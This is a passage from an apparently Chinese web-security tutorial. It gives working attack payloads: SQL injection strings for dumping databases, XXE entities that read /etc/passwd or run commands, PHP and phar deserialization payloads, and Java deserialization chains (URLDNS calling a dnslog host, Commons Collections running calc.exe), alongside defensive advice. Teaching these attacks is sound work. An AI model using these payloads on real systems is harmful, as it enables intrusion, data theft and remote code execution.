GROUP BY 3; #SELECT first_name, last_name FROM users WHERE user_id = '999' or 1=1 GROUP BY 3; # 报错确定查询结果的数据表是两列利用union select爆出数据库的各种信息-1' union select 1,database(); # 爆出数据库名-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='dvwa'#爆出数据库表-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#爆出某个表的字段名-1' union select group_concat(user),group_concat(password) from dvwa.users # 爆出数据表内容5.2.3 SQL注入漏洞注入类型普通注入数字型:测试步骤:(1) 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3';对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;对应的sql:select * from table where id=3' and 1=1 语句执行正常,与原始页面没有差异;(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;字符型测试步骤:(1) 加单引号:select * from table where name='admin'';由于加单引号后变成三个单引号,则无法执行,程序会报错;(2) 加 ' and 1=1 此时sql 语句为:select * from table where name='admin' and 1=1' ,也无法进行注入,还需要通过注释符号将其绕过;因此,构造语句为:select * from table where name ='admin' and 1=--' 可成功执行返回结果正确;(3) 加and 1=2— 此时sql语句为:select * from table where name='admin' and 1=2–'则会报错;如果满足以上三点,可以判断该url为字符型注入。判断列数?id=1' order by 4# 报错 ?id=1' order by 3# 没有报错,说明存在3列利用union select爆出数据库信息--+ 爆出数据库信息 ?id=-1' union select 1,database(),3--+ ?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata# --+ 爆出数据表 ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'# --+ 爆出字段 ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'# --+ 爆出数据值 ?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+拓展一些其他函数:system_user() 系统用户名 user() 用户名 current_user 当前用户名 session_user()连接数据库的用户名 database() 数据库名 version() MYSQL数据库版本 load_file() MYSQL读取本地文件的函数 @@datadir 读取数据库路径 @@basedir MYSQL 安装路径 @@version_compile_os 操作系统 多条数据显示函数: concat()、group_concat()、concat_ws()宽字节注入前提使用了addslashes()函数数据库设置了编码模式为GBK原理前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞?id=%df' and 1=1 --+ ?id=%df' and 1=2 --+ ?id=-1%df' union select 1,2,3 %235.2.4 SQL注入漏洞防御总的来说有以下几点:(1)永远不要信任用户的输入,要对用户的输入进行校验,可以通过正则表达式,或限制长度,对特殊字符和符号进行转换等。 (2)永远不要使用动态拼装SQL,可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。 (3)永远不要使用管理员权限的数据库连接,为每个应用使用单独的权限有限的数据库连接。 (4)不要把机密信息明文存放,请加密或者hash掉密码和敏感的信息。 (5)应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。详细来说:(1)采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。 使用好处:代码的可读性和可维护性;PreparedStatement尽最大可能提高性能;最重要的一点是极大地提高了安全性。 原理:sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析,准备,因此也就避免了sql注入问题。 (2)加强对用户输入进行验证和过滤SQL注入攻击前,入侵者通过修改参数提交and等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。 (3)参数传值程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量,这样可以最大程度防范SQL注入攻击。(4)普通用户与系统管理员用户的权限要有严格的区分 如果一个普通用户在使用查询语句中嵌入另一个Drop Table语句,那么是否允许执行呢?由于Drop语句关系到数据库的基本对象,故要操作这个语句用户必须有相关的权限。在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。故应用程序在设计的时候,最好把系统管理员的用户与普通用户区分开来。如此可以最大限度的减少注入式攻击对数据库带来的危害。(5)分级管理 对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。等等。 5.3 链接注入漏洞5.3.1 什么是链接注入URL注入攻击,与XSS、SQL注入类似,也是参数可控的一种攻击方式。URL注入攻击的本质是URL参数可控。攻击者可通过篡改URL地址,修改为攻击者构造的可控地址,从而达到攻击目的。“链接注入”是修改站点内容的行为,其方式为将外部站点的 URL 嵌入其中,或将有易受攻击的站点中的脚本 的 URL 嵌入其中。将 URL 嵌入易受攻击的站点中,攻击者便能够以它为平台来启动对其他站点的攻击,以及攻击这个易受攻击的站点本身。5.3.2 链接注入示例比如我们在某一网站下注入如下元素:<HTML> <BODY> Hello, <IMG SRC="http://www.ANY-SITE.com/ANY-SCRIPT.asp"> </BODY> </HTML>那么当其他用户访问该网站时,当前网站就会自动加载SRC中的url资源,这就可能导致了CSRF等漏洞问题的产生。 防范链接注入,需要对前端参数进行过滤,如. http https等敏感词进行过滤。5.4 XXE漏洞5.4.1 XXE漏洞简介XXE:XML external entity injection (also known as XXE)。XML 外部实体注入(也称为 XXE)是一种 Web 安全漏洞,允许攻击者干扰应用程序对 XML 数据的处理。它通常允许攻击者查看应用程序服务器文件系统上的文件,并与应用程序本身可以访问的任何后端或外部系统进行交互。在某些情况下,攻击者可以利用 XXE 漏洞联合执行服务器端请求伪造(SSRF) 攻击,从而提高 XXE 攻击等级以破坏底层服务器或其他后端基础设施。XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。5.4.2 XXE漏洞原理文档类型定义(DTD)可以定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构;DTD可以被成行的声明在XML文档中,也可以做一个外部引用;实体可以理解为变量,其必须在DTD中定义声明,可以在文档中的其他位置引用该变量的值。XXE漏洞主要利用DTD引用外部实体导致的漏洞,即使用<!ENTITY 实体名称 SYSTEM "URI"5.4.3 XXE漏洞常见POC(概念验证)文件读取<?xml version="1.0"?> <!DOCTYPE ANY [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <x>&xxe;</x>RCE(特殊情况,当程序员配置不当,例如此处PHP开启了expect模块,可以用来处理交互式的流):<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]> <root> <name>&xxe;</name> </root>5.4.4 XXE漏洞绕过技巧上传文件绕过:某些应用允许用户上传文件,然后服务端处理。一些常见的文件格式使用XML或者包含XML子组件。基于XML的格式包含docx等办公文档格式和SVG这样的图片格式,可以利用上传这些文件,而不直接上传xml来绕过xxe防御。编码绕过:可以使用base64,utf7等编码方式绕过黑名单<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/> <?xml version="1.0" encoding="UTF-7"?-->+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-5.4.5 XXE漏洞修复使用开发语言提供的禁用外部实体的方法;# java举例 DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);过滤用户提交的XML数据;不允许XML中含有自己定义的DTD;6.PHP反序列化漏洞6.1 PHP反序列化概要在php中,我们可以使用serialize函数将数据进行序列化,也可以通过反序列化函数unserialize将这一串序列化后的数据还原回去,这样就可以将序列化后的一个属性转换为之前的变量类型或对象了。如果只是单单反序列化一个属性,那么自然是没有什么危害的,但是在php中存在着一系列的魔术函数,这些魔术函数会在对象进行不同处理时触发,其中和序列化反序列化相关的有:__sleep() //在使用 serialize() 函数时,程序会检查类中是否存在一个 __sleep() 魔术方法。如果存在,则该方法会先被调用,然后再执行序列化操作。 __wakeup //在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。还有其他关联生命周期的可能可以利用的函数:__destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __construct() //当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __toString() //把类当作字符串使用时触发 __invoke() //当脚本尝试将对象调用为函数时触发6.2 PHP反序列化漏洞示例示例一<?php class A { var $test = "demo"; function __wakeup() { eval($this->test); } } $b = new A(); //创建对象(将对象实例化) $c = serialize($b); //将对象序列化,赋值给$c $a = $_GET['test']; //通过get传参进来一个值,接受参数的为test $a_unser = unserialize($a); //将get传参进来的值进行反序列化 ?>payload:O:1:"A":1:{s:4:"test";s:10:"phpinfo();";}示例二:Pop链(方法调用链)的构造//pop简单例题 <?php error_reporting(0); show_source("index.php"); class w44m{ private $admin = 'aaa'; protected $passwd = '123456'; public function Getflag(){ if($this->admin === 'w44m' && $this->passwd ==='08067'){ include('flag.php'); echo $flag; }else{ echo $this->admin; echo $this->passwd; echo 'nono'; } } } class w22m{ public $w00m; public function __destruct(){ echo $this->w00m; } } class w33m{ public $w00m; public $w22m; public function __toString(){ $this->w00m->{$this->w22m}(); return 0; } } $w00m = $_GET['w00m']; unserialize($w00m); ?> NSSCTF{b046d6b0-e1b0-4f26-b54e-acfd4095de65}分析w44m类的Getflag方法可以输出flag,而该方法不能自动触发,因此需要考虑如何触发该方法; 可以观察到w33m类的__toString()方法下的代码是可以实现w44m类的Getflag方法调用的,只需令w33m类的属性$w00m为w44m对象,属性$w22m的值为Getflag; 而w33m类的__toString()方法触发的条件是对象被当成字符串; 可以观察到w22m类的__destruct()方法输出了$w00m属性,只需令此属性值为w33m对象即可;到此,就把三个类的对象串起来了,下面是payload的构造:<?php class w44m { private $admin = 'w44m'; protected $passwd = '08067'; } class w22m { public $w00m; } class w33m { public $w00m; public $w22m="Getflag"; } $a=new w22m(); $b=new w33m(); $c=new w44m(); $b->w00m=$c; $a->w00m=$b; $payload=serialize($a); echo "?w00m=".urlencode($payload); //存在private和protected属性要url编码 ?> //输出为: ?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m %22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22% 3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00ad min%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00pas swd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22% 3Bs%3A7%3A%22Getflag%22%3B%7D%7D6.3 Phar反序列化漏洞6.3.1 概述phar是一种压缩文件; phar伪协议解析文件时会自动触发对phar文件的manifest字段的序列化字符串进行反序列化,即不需要unserialize()函数;6.3.2 phar文件结构stub phar 文件标识 manifest 压缩文件的属性信息,已序列化存储 contents 压缩文件的内容 signature 签名6.3.3 phar反序列化利用条件phar文件可以上传到服务器(只要是phar文件,后缀不是phar也可以被phar协议解析);要有可用的反序列化魔术方法;要有文件操作函数调用以phar协议,file_exists()、fopen()、file_get_contents()等;文件操作函数参数可控,如 : / phar等特殊字符未被过滤;6.3.4 phar文件生成脚本//phar文件的生成 <?php class test { public $haha='hhhaaa'; } @unlink('poc.phar'); //poc.php为文件名,可自定义 $ph=new phar('poc.phar'); //将phar对象实例化, $ph->startBuffering(); //开始写phar $ph->setStub("<?php__HALT_COMPILER();?>"); //设置stub $a=new test(); //可自定义 $ph->setMetadata($a); //将对象写入 $ph->addFromString('test.txt','test'); //写压缩文件名及其内容,可自定义 $ph->stopBuffering(); //结束写phar //以上类和实例化的对象可自定义,其他为固定格式,在phpstorm中运行以上php代 //码即可在当前目录下生成.phar文件, 注意:php.ini文件的phar.readonly要设置为Off,并把前面的;号注释符删除,然后重启phpstorm7.Java反序列化漏洞7.1 Java序列化和反序列化基础Java 序列化是指把 Java 对象转换为字节序列的过程,以便于保存在内存、文件、数据库中,ObjectOutputStream类的 writeObject() 方法可以实现序列化。Java 反序列化是指把字节序列恢复为 Java 对象的过程,ObjectInputStream 类的 readObject() 方法用于反序列化。序列化与反序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以轻松的存储和传输数据,实现多平台之间的通信、对象持久化存储。主要应用在以下场景:当服务器启动后,一般情况下不会关闭,如果逼不得已要重启,而用户还在进行相应的操作,为了保证用户信息不会丢失,实现暂时性保存,需要使用序列化将session信息保存在硬盘中,待服务器重启后重新加载。在很多应用中,需要对某些对象进行序列化,让他们离开内存空间,入住物理硬盘,以便减轻内存压力或便于长期保存。示例// 构建用于序列化和反序列化的类 @Data @AllArgsConstructor public class Person implements Serializable { private String name; private int age; } // 对象的序列化和反序列化 public class SeriazableTest { /** * @description: 对象序列化 */ public static void serilize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } /** * @description: 对象反序列化 */ public static Object unserilize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } public static void main(String[] args) throws IOException, ClassNotFoundException { Person person1 = new Person("aa",22); System.out.println(person1); // 序列化对象 serilize(person1); // 反序列化对象 Person person2 = (Person) unserilize("ser.bin"); System.out.println(person2); } }7.2 Java反序列化漏洞成因Java的序列化和反序列化本身并不存在问题,但如果java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,而非预期的对象在产生过程中就有可能带来任意代码执行的后果。简单的说就是,在于开发者在重写 readObject 方法的时候,写入了漏洞代码。所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;正因为此,java提供的标准库及大量第三方公共类库成为反序列化漏洞利用的关键。Java反序列化漏洞的发展历史2011年开始,攻击者就开始利用反序列化问题发起攻击2015年11月6日FoxGlove Security安全团队的@breenmachine发布了一篇长博客,阐述了利用java反序列化和Apache Commons Collections这一基础类库实现远程命令执行的真实案例,各大java web server纷纷中招,这个漏洞横扫WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。2016年java中Spring与RMI集成反序列化漏洞,使成百上千台主机被远程访问2017年末,WebLogic XML反序列化引起的挖矿风波,使得反序列化漏洞再一次引起热议。从2018年至今,安全研究人员陆续爆出XML、Json、Yaml、PHP、Python、.NET中也存在反序列化漏洞,反序列化漏洞一直在路上。。。7.3 Java反序列化漏洞形成原理+示例Java 序列化机制虽然有默认序列化机制,但也支持用户自定义的序列化与反序列化策略。例如对象的一些成员变量没必要序列化保存或传输,就可以不序列化,或者也可以对一些敏感字段进行处理等自定义对象序列化的行为,而自定义序列化规则的方式就是重写 writeObejct 与 readObject。当对象重写了 writeObejct 或 readObject方法时,Java 序列化与反序列化就会调用用户自定义的逻辑了。当用户定义的处理逻辑不当的时候,就会容易造成反序列化漏洞,通过分析出漏洞调用链即可进行利用。案例如下所示:// 构建用于序列化和反序列化的类 @Data @AllArgsConstructor public class Person implements Serializable { private String name; private int age; //重写readObject()方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{ //执行默认的readObject()方法 in.defaultReadObject(); //执行程序命令 Runtime.getRuntime().exec(name); } } // 对象的序列化和反序列化 public class SeriazableTest { /** * @description: 对象序列化 */ public static void serilize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } /** * @description: 对象反序列化 */ public static Object unserilize(String fileName) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(fileName)); return ois.readObject(); } public static void main(String[] args) throws IOException, ClassNotFoundException { Person person1 = new Person("calc.exe",22); System.out.println(person1); // 序列化对象 serilize(person1); // 反序列化对象 Person person2 = (Person) unserilize("ser.bin"); System.out.println(person2); } }一运行该程序的Person对象的反序列化过程就会触发运行calc.exe,即计算器程序:看到这里,作为程序员的你肯定哈哈大笑!对象的反序列化函数谁会这样写?这里本示例只是为了以最直观的方式演示反序列漏洞产生原因,就直接提供了一个 HelloWorld 级别的漏洞示例.实际上,近两年 Java Apache-CommonsCollections 造成的序列化漏洞与 Spring 框架的反序列化漏洞(spring-tx.jar)的成因与原理都与上例相似,只是漏洞利用的构成比较复杂而已。7.4 常见反序列化利用链深入分析-URLDNS链触发该漏洞要使用jdk1.8.0_65版本URLDNS 是ysoserial中利用链的一个名字,通常用于检测是否存在Java反序列化漏洞。该利用链具有如下特点:不限制jdk版本,使用Java内置类,对第三方依赖没有要求目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞URLDNS利用链,只能发起DNS请求,并不能进行其他利用ysoserial是集合了各种java反序列化payload的反序列化漏洞利用工具7.4.1 URLDNS 工作原理URLDNS这个pop链的大概的工作原理:java.util.HashMap重写了readObject方法: 在反序列化时会调用 hash 函数计算 key 的 hashCodejava.net.URL对象的 hashCode 在计算时会调用 getHostAddress 方法getHostAddress方法解析域名发出 DNS 请求7.4.2 利用链详细分析过程HashMap#readObject:@java.io.Serial private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { ObjectInputStream.GetField fields = s.readFields(); // Read loadFactor (ignore threshold) float lf = fields.get("loadFactor", 0.75f); if (lf <= 0 || Float.isNaN(lf)) throw new InvalidObjectException("Illegal load factor: " + lf); lf = Math.min(Math.max(0.25f, lf), 4.0f); HashMap.UnsafeHolder.putLoadFactor(this, lf); reinitialize(); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) { throw new InvalidObjectException("Illegal mappings count: " + mappings); } else if (mappings == 0) { // use defaults } else if (mappings > 0) { float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); // Check Map.Entry[].class since it's the nearest public type to // what we're actually creating. SharedSecrets.getJavaObjectInputStreamAccess().checkArray(s, Map.Entry[].class, cap); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }关注putVal方法,putVal是往HashMap中放入键值对的方法,这里调用了hash方法来处理key,跟进hash方法:static final int hash(Object key) { int h; return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16); }这里又调用了key.hashcode方法,而key此时是我们传入的 java.net.URL 对象,那么跟进到这个类的hashCode()方法看下URL#hashCodepublic synchronized int hashCode() { if (hashCode != -1) return hashCode; hashCode = handler.hashCode(this); return hashCode; }当hashCode字段等于-1时会进行handler.hashCode(this)计算,跟进handler发现,定义是transient URLStreamHandler handler; // transient 关键字,修饰Java序列化对象时,不需要序列化的属性那么跟进java.net.URLStreamHandler#hashCode()protected int hashCode(URL u) { int h = 0; // Generate the protocol part. String protocol = u.getProtocol(); if (protocol != null) h += protocol.hashCode(); // Generate the host part. InetAddress addr = getHostAddress(u); // 触发DNS解析 if (addr != null) { h += addr.hashCode(); } else { String host = u.getHost(); if (host != null) h += host.toLowerCase().hashCode(); } // Generate the file part. String file = u.getFile(); if (file != null) h += file.hashCode(); // Generate the port part. if (u.getPort() == -1) h += getDefaultPort(); else h += u.getPort(); // Generate the ref part. String ref = u.getRef(); if (ref != null) h += ref.hashCode(); return h; }u 是我们传入的url,在调用getHostAddress方法时,会进行dns查询。7.4.3 构建漏洞利用代码参考:https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java下面的是简化版本:序列化过程:public class URLDNS { public static void main(String[] args) throws Exception { //漏洞出发点 hashmap,实例化出来 HashMap<URL, String> hashMap = new HashMap<URL, String>(); //URL对象传入自己测试的dnslog URL url = new URL("http://a8arrs.dnslog.cn"); //反射获取 URL的hashcode字段 Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); //绕过Java语言权限控制检查的权限 f.setAccessible(true); // 设置hashcode的值为-1的其他任何数字 f.set(url, 123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询 hashMap.put(url, "123"); // 将hashcode重新设置为-1,确保在反序列化成功触发 f.set(url, -1); //序列化成对象,输出出来 ObjectOutputStream objos = new ObjectOutputStream(new FileOutputStream("out.bin")); objos.writeObject(hashMap); } }随后,开始反序列化,触发漏洞public class DNSLogTest { public static void main(String[] args) throws Exception { //读取目标 ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin")); //反序列化 ois.readObject(); } }打开http://xxxxxx.dnslog.cn即可查看运行的触发效果7.5 常见反序列化利用链深入分析-Commons Collections链7.5.1 Commons Collections简介Commons:Apache Commons是Apache软件基金会的项目,Commons的目的是提供可重用的解决各种实际问题的Java开源代码。Commons Collections:Java中有一个Collections包,内部封装了许多方法用来对集合进行处理,Commons Collections则是对Collections进行了补充,完善了更多对集合处理的方法,大大提高了性能。(漏洞复习)环境要求:CommonsCollections <= 3.2.1 (实测3.1)java < 8u71 (实测8u65)7.5.2 Commons Collections链(CC1)详细分析过程(从尾到头)危险函数InvokerTransformer.transformpublic Object transform(Object input) { if (input == null) { return null; } else { try { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); } catch (NoSuchMethodException var5) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); } catch (IllegalAccessException var6) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); } catch (InvocationTargetException var7) { throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); } } }触发危险函数的效果@Test public void finalTarget(){ // 链子结尾-最终目标 new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}).transform(Runtime.getRuntime()); }但是这个方法不是readObject,无法在反序列化时进行触发,因此需要尝试寻找一条反序列化可以触发的调用链CC1调用链总览查找触发危险函数的类//DefaultMap: DefaultMap.get(); //LazyMap: LazyMap.get(); //TransformedMap: TransformedMap.transformKey(); TransformedMap.transforValue(); TransformedMap.checkSetValue();在这里选取了TransformedMap类的 TransformedMap.checkSetValue()protected final Transformer valueTransformer; protected Object checkSetValue(Object value) { return valueTransformer.transform(value); }调用需要用到valueTransformer属性,但是该类的构造函数是保护方法,所以需要使用公共的静态函数decorate()调用从而实例化TransformedMap:protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); }且该方法checkSetValue()也是protected方法,需要通过别的渠道进行触发,跟进TransformeMap的父类AbstractInputCheckedMapDecorator,在里面有一个静态的内部类:static class MapEntry extends AbstractMapEntryDecorator { /** The parent map */ private final AbstractInputCheckedMapDecorator parent; protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super(entry); this.parent = parent; } public Object setValue(Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }这里的setValue方法调用了checkSetValue,如果this.parent指向我们前面构造的TransformeMap对象,那么这里就可以触发漏洞点。触发AbstractInputCheckedMapDecorator.MapEntry.setValue()当 TransformedMap执行transformedMap.entrySet()得到的entry[]数组元素都是AbstractInputCheckedMapDecorator类的对象,可以通过执行以下代码,在entry.setValue打断点确认entry的类型为AbstractInputCheckedMapDecoratorHashMap<Object, Object> map = new HashMap<>(); map.put("set_key", "set_value"); Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer); for (Map.Entry entry : transformedMap.entrySet()) { entry.setValue(r); }所以确定AbstractInputCheckedMapDecorator.MapEntry.setValue()的触发点 : 一个TransformedMap的一个键值对entry触发测试:@Test public void testAbstractInputCheckedMapDecoratorMapEntrySetValue(){ //TransformedMap.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()测试 Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer= new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc.exe"}); HashMap<Object, Object> map = new HashMap(); map.put("key","value"); //decorate()函数将第二个Transform类型的参数赋值给TransformerMap.keyTransformer //将第二个Transform类型的参数赋值给TransformerMap.valueTransformer Map<Object ,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer); for(Map.Entry entry:transformedMap.entrySet()){ //setValue()触发checkSetValue(Object value)执行TransformedMap.valueTransformer.transform(value) entry.setValue(r); } }触发entry.setValue寻找执行MapEntry.setValue()()函数会发现有很多类,但是最理想的是sun.reflect.annotation.AnnotationInvocationHandler是最理想的类,因为它的readObject()函数会直接执行MapEntry.setValue()();private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { // 核心在这里 Map.Entry var5 = (Map.Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { // 这里发生了执行 var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } }Notice: sun.reflect.annotation.AnnotationInvocationHandler类不能通过import后直接new获取,只能通过反射获取.Constructor annotationInvocationHandlerconstructor = a.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerconstructor.setAccessible(true); Object annotationInvocationHandler = annotationInvocationHandlerconstructor.newInstance(Target.class,transformedMap);构造可以递归调用的InvokerTransformeMethod getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class); Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod); new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);将三个可递归调用的InvokerTransformer放到ChainedTransformer类中:Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); chainedTransformer.transform(Runtime.class);递归调用原理(令hashMap第三个参数的valuetransformer为一个ChainedTransformer实例,所以最终调用了ChainedTransformer.transform()函数):由源码可知,因为我们令iTransformers[]数组为以上的transforms数组,所以会逐步执行:object = new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class} ,new Object[]{"getRuntime",null}); //相当于执行了object1 = object.getMethod("getRuntime") object = new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(object1) //相当于 object2 = object1.invoke() object = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(object2) //相当于执行了 object3 = object2.exec("calc") //最终相当于执行了: object.getMethod("getRuntime").invoke().exec("calc")所以如果只是以上代码只会执行object.getMethod("getRuntime").invoke().exec("calc"),使object = Runtime.class.通过修改transformers数组使object = Runtime.class , 上面的代码就会执行Runtime.class.getMethod("getRuntime").invoke().exec("calc"),即:// 构建链式调用 ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) });完整调用链@Test public void test() 